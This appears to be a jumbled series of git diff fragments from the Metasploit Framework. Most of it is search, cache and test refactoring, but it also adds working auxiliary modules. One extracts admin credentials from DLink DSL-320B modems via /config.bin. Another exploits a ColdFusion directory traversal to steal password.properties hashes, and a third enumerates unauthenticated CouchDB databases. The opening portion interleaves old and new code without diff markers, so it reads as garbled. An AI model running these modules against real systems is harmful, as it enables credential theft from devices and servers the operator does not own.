|
||||
when 'app'
|
||||
where_q << ' ( module_details.stance = ? )'
|
||||
where_v << [ ( kv == "client") ? "passive" : "aggressive" ]
|
||||
when 'ref'
|
||||
where_q << ' ( module_refs.name ILIKE ? )'
|
||||
where_v << [ '%' + kv + '%' ]
|
||||
when 'cve','bid','osvdb','edb'
|
||||
where_q << ' ( module_refs.name = ? )'
|
||||
where_v << [ kt.upcase + '-' + kv ]
|
||||
query = Mdm::Module::Detail.scoped
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
|
||||
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
|
||||
# passed to one call ot where.
|
||||
union_conditions = []
|
||||
|
||||
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
|
||||
joins(
|
||||
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
|
||||
"LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " +
|
||||
"LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " +
|
||||
"LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " +
|
||||
"LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " +
|
||||
"LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id "
|
||||
).
|
||||
where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)).
|
||||
# Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses
|
||||
group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready")
|
||||
value_set_by_keyword.each do |keyword, value_set|
|
||||
case keyword
|
||||
when 'author'
|
||||
formatted_values = match_values(value_set)
|
||||
|
||||
res = qry.all
|
||||
query = query.includes(:authors)
|
||||
module_authors = Mdm::Module::Author.arel_table
|
||||
union_conditions << module_authors[:email].matches_any(formatted_values)
|
||||
union_conditions << module_authors[:name].matches_any(formatted_values)
|
||||
when 'name'
|
||||
formatted_values = match_values(value_set)
|
||||
|
||||
}
|
||||
end
|
||||
module_details = Mdm::Module::Detail.arel_table
|
||||
union_conditions << module_details[:fullname].matches_any(formatted_values)
|
||||
union_conditions << module_details[:name].matches_any(formatted_values)
|
||||
when 'os', 'platform'
|
||||
formatted_values = match_values(value_set)
|
||||
|
||||
query = query.includes(:platforms)
|
||||
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:targets)
|
||||
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
|
||||
when 'text'
|
||||
formatted_values = match_values(value_set)
|
||||
|
||||
module_details = Mdm::Module::Detail.arel_table
|
||||
union_conditions << module_details[:description].matches_any(formatted_values)
|
||||
union_conditions << module_details[:fullname].matches_any(formatted_values)
|
||||
union_conditions << module_details[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:actions)
|
||||
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:archs)
|
||||
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:authors)
|
||||
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:platforms)
|
||||
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:refs)
|
||||
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
|
||||
|
||||
query = query.includes(:targets)
|
||||
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
|
||||
when 'type'
|
||||
formatted_values = match_values(value_set)
|
||||
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
|
||||
when 'app'
|
||||
formatted_values = value_set.collect { |value|
|
||||
formatted_value = 'aggressive'
|
||||
|
||||
if value == 'client'
|
||||
formatted_value = 'passive'
|
||||
end
|
||||
|
||||
formatted_value
|
||||
}
|
||||
|
||||
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
|
||||
when 'ref'
|
||||
formatted_values = match_values(value_set)
|
||||
|
||||
query = query.includes(:refs)
|
||||
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
|
||||
when 'cve', 'bid', 'osvdb', 'edb'
|
||||
formatted_values = value_set.collect { |value|
|
||||
prefix = keyword.upcase
|
||||
|
||||
"#{prefix}-#{value}"
|
||||
}
|
||||
|
||||
query = query.includes(:refs)
|
||||
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
|
||||
end
|
||||
end
|
||||
|
||||
unioned_conditions = union_conditions.inject { |union, condition|
|
||||
union.or(condition)
|
||||
}
|
||||
|
||||
query = query.where(unioned_conditions).uniq
|
||||
end
|
||||
|
||||
query
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache
|
|||
loaded
|
||||
end
|
||||
|
||||
# Rebuild the cache for the module set
|
||||
# @overload refresh_cache_from_module_files
|
||||
# Rebuilds database and in-memory cache for all modules.
|
||||
#
|
||||
# @return [void]
|
||||
def refresh_cache_from_module_files(mod = nil)
|
||||
# @return [void]
|
||||
# @overload refresh_cache_from_module_files(module_class_or_instance)
|
||||
# Rebuilds database and in-memory cache for given module_class_or_instance.
|
||||
#
|
||||
# @param (see Msf::DBManager#update_module_details)
|
||||
# @return [void]
|
||||
def refresh_cache_from_module_files(module_class_or_instance = nil)
|
||||
if framework_migrated?
|
||||
if mod
|
||||
framework.db.update_module_details(mod)
|
||||
if module_class_or_instance
|
||||
framework.db.update_module_details(module_class_or_instance)
|
||||
else
|
||||
framework.db.update_all_module_details
|
||||
end
|
||||
|
@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache
|
|||
end
|
||||
end
|
||||
|
||||
# Reset the module cache
|
||||
# Refreshes the in-memory cache from the database cache.
|
||||
#
|
||||
# @return [void]
|
||||
def refresh_cache_from_database
|
||||
|
@ -86,43 +92,49 @@ module Msf::ModuleManager::Cache
|
|||
# @return (see #module_info_by_path_from_database!)
|
||||
attr_accessor :module_info_by_path
|
||||
|
||||
# Return a module info from Mdm::ModuleDetails in database.
|
||||
# Return a module info from Mdm::Module::Details in database.
|
||||
#
|
||||
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
|
||||
#
|
||||
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module
|
||||
# information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type,
|
||||
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
|
||||
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
|
||||
# :reference_name.
|
||||
def module_info_by_path_from_database!
|
||||
self.module_info_by_path = {}
|
||||
|
||||
if framework_migrated?
|
||||
# TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file.
|
||||
::Mdm::ModuleDetail.find(:all).each do |module_detail|
|
||||
path = module_detail.file
|
||||
type = module_detail.mtype
|
||||
reference_name = module_detail.refname
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
|
||||
# Use find_each so Mdm::Module::Details are returned in batches, which will
|
||||
# handle the growing number of modules better than all.each.
|
||||
Mdm::Module::Detail.find_each do |module_detail|
|
||||
path = module_detail.file
|
||||
type = module_detail.mtype
|
||||
reference_name = module_detail.refname
|
||||
|
||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||
escaped_typed_path = Regexp.escape(typed_path)
|
||||
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||
# join to '' so that typed_path_prefix starts with file separator
|
||||
typed_path_suffix = File.join('', typed_path)
|
||||
escaped_typed_path = Regexp.escape(typed_path_suffix)
|
||||
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
||||
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_detail.mtime
|
||||
}
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
:parent_path => parent_path,
|
||||
:modification_time => module_detail.mtime
|
||||
}
|
||||
|
||||
typed_module_set = module_set(type)
|
||||
typed_module_set = module_set(type)
|
||||
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
self.module_info_by_path
|
||||
|
|
|
@ -1386,17 +1386,16 @@ class Core
|
|||
print_line
|
||||
print_line "Keywords:"
|
||||
{
|
||||
"name" => "Modules with a matching descriptive name",
|
||||
"path" => "Modules with a matching path or reference name",
|
||||
"platform" => "Modules affecting this platform",
|
||||
"port" => "Modules with a matching remote port",
|
||||
"type" => "Modules of a specific type (exploit, auxiliary, or post)",
|
||||
"app" => "Modules that are client or server attacks",
|
||||
"author" => "Modules written by this author",
|
||||
"cve" => "Modules with a matching CVE ID",
|
||||
"bid" => "Modules with a matching Bugtraq ID",
|
||||
"osvdb" => "Modules with a matching OSVDB ID",
|
||||
"edb" => "Modules with a matching Exploit-DB ID"
|
||||
'app' => 'Modules that are client or server attacks',
|
||||
'author' => 'Modules written by this author',
|
||||
'bid' => 'Modules with a matching Bugtraq ID',
|
||||
'cve' => 'Modules with a matching CVE ID',
|
||||
'edb' => 'Modules with a matching Exploit-DB ID',
|
||||
'name' => 'Modules with a matching descriptive name',
|
||||
'osvdb' => 'Modules with a matching OSVDB ID',
|
||||
'platform' => 'Modules affecting this platform',
|
||||
'ref' => 'Modules with a matching ref',
|
||||
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.ljust 10}: #{description}"
|
||||
end
|
||||
|
@ -1456,9 +1455,13 @@ class Core
|
|||
|
||||
end
|
||||
|
||||
def search_modules_sql(match)
|
||||
# Prints table of modules matching the search_string.
|
||||
#
|
||||
# @param (see Msf::DBManager#search_modules)
|
||||
# @return [void]
|
||||
def search_modules_sql(search_string)
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
framework.db.search_modules(match).each do |o|
|
||||
framework.db.search_modules(search_string).each do |o|
|
||||
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink DSL 320B Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in DLink DSL 320B
|
||||
<=v1.23. This vulnerability allows to extract the credentials for the remote
|
||||
management interface.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '25252' ],
|
||||
[ 'OSVDB', '93013' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
|
||||
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
|
||||
],
|
||||
'Author' => [
|
||||
'Michael Messner <devnull@s3cur1ty.de>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||
|
||||
#download configuration
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/config.bin',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
return if res.nil?
|
||||
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
|
||||
return if (res.code == 404)
|
||||
|
||||
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
|
||||
if res.body !~ /sysPassword value/
|
||||
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
|
||||
end
|
||||
|
||||
#store all details as loot -> there is some usefull stuff in the response
|
||||
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
|
||||
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
|
||||
|
||||
user = ""
|
||||
pass = ""
|
||||
|
||||
res.body.each_line do |line|
|
||||
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
|
||||
user = $1
|
||||
next
|
||||
end
|
||||
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
|
||||
pass = $1
|
||||
pass = Rex::Text.decode_base64(pass)
|
||||
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
|
@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
|
||||
length of an encrypted message when used with a TLS version 1.1 or above. This
|
||||
leads to an integer underflow which can cause a DoS. The vulnerable function
|
||||
aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL.
|
||||
This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default
|
||||
aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
|
||||
This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
|
||||
OpenSSL 1.0.1c package.
|
||||
},
|
||||
'Author' =>
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "ColdFusion 'password.properties' Hash Extraction",
|
||||
'Description' => %q{
|
||||
This module uses a directory traversal vulnerability to extract information
|
||||
such as password, rdspassword, and "encrypted" properties. This module has been
|
||||
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
|
||||
target ColdFusion version.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '93114' ],
|
||||
[ 'EDB', '25305' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'HTP',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['ColdFusion10'],
|
||||
['ColdFusion9']
|
||||
],
|
||||
'DefaultAction' => 'ColdFusion10',
|
||||
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8500),
|
||||
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||
end
|
||||
|
||||
def run
|
||||
filename = ""
|
||||
case action.name
|
||||
when 'ColdFusion10'
|
||||
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
|
||||
when 'ColdFusion9'
|
||||
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
|
||||
'encode_params' => false,
|
||||
'encode' => false,
|
||||
'vars_get' => {
|
||||
'attributes.id' => 'it',
|
||||
'attributes.file' => '../../administrator/mail/download.cfm',
|
||||
'filename' => filename,
|
||||
'attributes.locale' => 'it',
|
||||
'attributes.var' => 'it',
|
||||
'attributes.jscript' => 'false',
|
||||
'attributes.type' => 'text/html',
|
||||
'attributes.charset' => 'UTF-8',
|
||||
'thisTag.executionmode' => 'end',
|
||||
'thisTag.generatedContent' => 'htp'
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Unable to receive a response")
|
||||
return
|
||||
end
|
||||
|
||||
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
|
||||
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
|
||||
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
|
||||
|
||||
if rdspass.empty? and password.empty?
|
||||
# No pass collected, no point to store anything
|
||||
print_error("#{peer} - No passwords found")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - rdspassword = #{rdspass}")
|
||||
print_good("#{peer} - password = #{password}")
|
||||
print_good("#{peer} - encrypted = #{encrypted}")
|
||||
|
||||
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
|
||||
print_good("#{peer} - password.properties stored in '#{p}'")
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CouchDB Enum Utility',
|
||||
'Description' => %q{
|
||||
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
|
||||
},
|
||||
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5984),
|
||||
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
|
||||
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
|
||||
OptString.new('USERNAME', [false, 'The username to login as']),
|
||||
OptString.new('PASSWORD', [false, 'The password to login with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'authorization' => basic_auth(username, password),
|
||||
'headers' => {
|
||||
'Cookie' => 'Whatever?'
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("No response for #{target_host}")
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
temp = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
|
||||
results = JSON.pretty_generate(temp)
|
||||
|
||||
if (res.code == 200)
|
||||
print_good("#{target_host}:#{rport} -> #{res.code}")
|
||||
print_good("Response Headers:\n\n #{res.headers}")
|
||||
print_good("Response Body:\n\n #{results}\n")
|
||||
elsif (res.code == 403) # Forbidden
|
||||
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
|
||||
print_error("Response from server:\n\n #{results}\n")
|
||||
elsif (res.code == 404) # Not Found
|
||||
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
|
||||
print_error("Response from server:\n\n #{results}\n")
|
||||
else
|
||||
print_status("Received #{res.code}")
|
||||
print_line("#{results}")
|
||||
end
|
||||
|
||||
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
|
||||
path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results")
|
||||
print_status("Results saved to #{path}")
|
||||
else
|
||||
print_error("Failed to save the result")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
|
||||
RFC Service, to execute remote commands. This module needs SAP credentials with
|
||||
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
||||
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
|
||||
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
|
||||
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
|
||||
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
|
||||
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
|
||||
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
|
|
@ -0,0 +1,9 @@
|
|||
FactoryGirl.modify do
|
||||
factory :mdm_module_detail do
|
||||
ignore do
|
||||
root {
|
||||
Metasploit::Framework.root
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
FactoryGirl.define do
|
||||
factory :mdm_route, :class => Mdm::Route do
|
||||
netmask { generate :mdm_route_netmask }
|
||||
subnet { generate :mdm_route_subnet }
|
||||
|
||||
#
|
||||
# Associations
|
||||
#
|
||||
association :session, :factory => :mdm_session
|
||||
end
|
||||
|
||||
sequence :mdm_route_netmask do |n|
|
||||
bits = 32
|
||||
bitmask = n % bits
|
||||
|
||||
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
|
||||
|
||||
bits = 32
|
||||
shift = n % bits
|
||||
mask_range = 2 ** bits
|
||||
full_mask = mask_range - 1
|
||||
|
||||
integer_netmask = (full_mask << shift)
|
||||
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
|
||||
|
||||
formatted_netmask
|
||||
end
|
||||
|
||||
sequence :mdm_route_subnet do |n|
|
||||
class_c_network = n % 255
|
||||
|
||||
"192.168.#{class_c_network}.0"
|
||||
end
|
||||
end
|
|
@ -1,22 +0,0 @@
|
|||
#
|
||||
# Specs
|
||||
#
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'metasploit/framework/database'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::DBManager do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
subject(:db_manager) do
|
||||
framework.db
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
|
||||
end
|
|
@ -16,6 +16,8 @@ require 'tmpdir'
|
|||
require 'msf/core'
|
||||
|
||||
describe Msf::ModuleManager do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
let(:archive_basename) do
|
||||
[basename_prefix, archive_extension]
|
||||
end
|
||||
|
@ -28,161 +30,11 @@ describe Msf::ModuleManager do
|
|||
'rspec'
|
||||
end
|
||||
|
||||
let(:framework) do
|
||||
Msf::Framework.new
|
||||
subject(:module_manager) do
|
||||
framework.modules
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(framework)
|
||||
end
|
||||
|
||||
context '#add_module_path' do
|
||||
it 'should strip trailing File::SEPARATOR from the path' do
|
||||
Dir.mktmpdir do |path|
|
||||
path_with_trailing_separator = path + File::SEPARATOR
|
||||
subject.add_module_path(path_with_trailing_separator)
|
||||
|
||||
subject.send(:module_paths).should_not include(path_with_trailing_separator)
|
||||
subject.send(:module_paths).should include(path)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Fastlib archive' do
|
||||
it 'should raise an ArgumentError unless the File exists' do
|
||||
file = Tempfile.new(archive_basename)
|
||||
# unlink will clear path, so copy it to a variable
|
||||
path = file.path
|
||||
file.unlink
|
||||
|
||||
File.exist?(path).should be_false
|
||||
|
||||
expect {
|
||||
subject.add_module_path(path)
|
||||
}.to raise_error(ArgumentError, "The path supplied does not exist")
|
||||
end
|
||||
|
||||
it 'should add the path to #module_paths if the File exists' do
|
||||
Tempfile.open(archive_basename) do |temporary_file|
|
||||
path = temporary_file.path
|
||||
|
||||
File.exist?(path).should be_true
|
||||
|
||||
subject.add_module_path(path)
|
||||
|
||||
subject.send(:module_paths).should include(path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with directory' do
|
||||
it 'should add path to #module_paths' do
|
||||
Dir.mktmpdir do |path|
|
||||
subject.add_module_path(path)
|
||||
|
||||
subject.send(:module_paths).should include(path)
|
||||
end
|
||||
end
|
||||
|
||||
context 'containing Fastlib archives' do
|
||||
it 'should add each Fastlib archive to #module_paths' do
|
||||
Dir.mktmpdir do |directory|
|
||||
Tempfile.open(archive_basename, directory) do |file|
|
||||
subject.add_module_path(directory)
|
||||
|
||||
subject.send(:module_paths).should include(directory)
|
||||
subject.send(:module_paths).should include(file.path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with other file' do
|
||||
it 'should raise ArgumentError' do
|
||||
Tempfile.open(basename_prefix) do |file|
|
||||
expect {
|
||||
subject.add_module_path(file.path)
|
||||
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context '#file_changed?' do
|
||||
let(:module_basename) do
|
||||
[basename_prefix, '.rb']
|
||||
end
|
||||
|
||||
it 'should return true if module info is not cached' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
|
||||
subject.send(:module_info_by_path)[module_path].should be_nil
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path)
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
# :modification_time must match so that it is the :type that is causing the `true` and not the
|
||||
# :modification_time causing the `true`.
|
||||
:modification_time => modification_time,
|
||||
:type => Msf::MODULE_PAYLOAD
|
||||
}
|
||||
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with cache module info and not a payload module' do
|
||||
it 'should return true if the file does not exist on the file system' do
|
||||
tempfile = Tempfile.new(module_basename)
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => modification_time
|
||||
}
|
||||
|
||||
tempfile.unlink
|
||||
|
||||
File.exist?(module_path).should be_false
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
|
||||
it 'should return true if modification time does not match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = (modification_time * rand).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should_not == modification_time
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return false if modification time does match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = modification_time
|
||||
|
||||
